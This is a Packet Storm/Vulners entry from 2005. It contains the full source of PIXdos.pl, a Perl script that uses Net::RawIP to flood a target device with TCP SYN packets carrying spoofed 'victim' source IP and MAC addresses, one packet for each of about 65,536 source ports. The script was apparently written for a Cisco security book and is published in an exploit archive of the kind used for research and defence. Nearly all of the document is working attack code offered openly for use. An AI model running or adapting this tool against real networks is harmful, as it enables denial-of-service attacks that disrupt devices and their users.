Lucene search
+L

PIXdos.pl.txt

🗓️ 30 Nov 2005 00:00:00Reported by Konstantin V. GavrilenkoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Perl script for launching a DoS attack on a network devic

Code
`#!/usr/bin/perl  
eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;  
eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@;  
eval ("use Term::ProgressBar;");die "[error] Term::ProgressBar perl module is not installed \n" if $@;  
my $VERSION = "0.1";  
print "$0, $PgmName, V $VERSION \n";  
GetOptions (   
"help" =>\$usage,  
"device=s" => \$device,   
"source=s" =>\$sourceip,  
"dest=s"=>\$destip,  
"sourcemac=s"=>\$sourcemac,  
"destmac=s"=>\$destmac,  
"port=n"=> \$tcpport,  
);  
  
######################## Config option #############################################  
  
my $timeout = "0,1"; # Timeout  
  
if ($usage) {&usage;}   
  
if (!$device) {  
$device= 'eth0'; # Network device  
}  
  
if (!$destmac) {print "Dest MAC not found \n"; &usage;}  
if (!$sourceip) {print "Source IP not found \n"; &usage;}  
if (!$destip) {print "Dest IP not found \n"; &usage;}  
if (!$tcpport) {print "TCP port not found \n"; &usage;}  
  
my $syn="1"; # TCP SYN SET  
my $tcpdata = "TEST"; # TCP payload  
my $count=0;  
  
####################################################################################  
  
#Initialize Progres Bar   
my $progress = Term::ProgressBar->new(32768);  
$progress->minor(0);  
$packet = new Net::RawIP;  
$packet-> ethnew($device);  
  
  
if (!$sourcemac) {  
$packet -> ethset( dest => $destmac);  
}else {   
$packet -> ethset( source =>$sourcemac, dest => $destmac);  
}  
  
  
  
for ($count=0; $count< 65537 ; $count++) {  
  
$packet->set({  
  
ip => {  
saddr => $sourceip,  
daddr => $destip   
},  
  
tcp => {  
check => 0x0010 , # TCP Packet Checksum 0 for auto correct  
source => $count,  
dest => $tcpport,  
syn => $syn,  
data => $tcpdata  
}});  
$packet->ethsend($timeout);  
#$packet->send($timeout);  
  
$progress->update($_);  
$count++;  
}  
  
sub usage {  
print <<EOF ;  
This program was originally written in the due course of writing  
"Hacking Exposed Cisco Networks: Cisco Security Secrets and Solutions" book.  
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs   
and comments to [email protected]   
  
usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC]  
[--destmac=MAC] [--port=n]  
  
Options:  
  
--help This message  
--device Network interface (defaut set eth0)  
--source Victim source IP  
--dest Victim destination IP  
--sourcemac Victim source MAC  
--destmac MAC Address of the gateway  
--port TCP port   
  
Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest 192.168.55.111 \  
--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22   
EOF  
  
exit shift;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Nov 2005 00:00Current
7.4High risk
Vulners AI Score7.4
25